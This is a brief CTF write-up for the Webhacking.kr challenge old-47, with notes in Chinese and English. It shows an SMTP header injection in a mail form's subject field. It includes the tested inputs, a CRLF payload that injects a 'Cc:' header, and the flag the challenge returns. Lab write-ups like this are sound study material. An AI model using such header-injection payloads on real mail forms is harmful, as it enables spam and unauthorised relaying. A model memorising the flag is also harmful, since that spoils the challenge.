Webhacking.kr old-47

Challenge

The mail form puts subject straight into the mail header.

发信表单把 subject 直接放进邮件头。

1
https://webhacking.kr/challenge/bonus-11/

Analysis

表单只有 subject 一个字段,提交后回显 Mail has been sent;收件人固定 no-existed@webhacking.kr,正文含 flag。subject 未净化即进入邮件头,属 SMTP header injection。

实测:

1
2
3
4
subject=plain             -> Mail has been sent(无 flag)
subject=hi\r\nCc: <addr> -> Mail has been sent + flag
subject=hi\nCc: <addr> -> 无 flag(只认 CRLF)
subject=hi\r\nTo: <addr> -> 无 flag

Solution

在 subject 里用 CRLF 注入 Cc::

1
2
POST /challenge/bonus-11/index.php
subject=hi%0d%0aCc:%20<recipient>

本实例上注入成功后响应体直接带回 flag,不需要真收信:

1
<hr>Mail has been sent<hr>FLAG{wasted_too_much_time_damn}
FLAG{wasted_too_much_time_damn}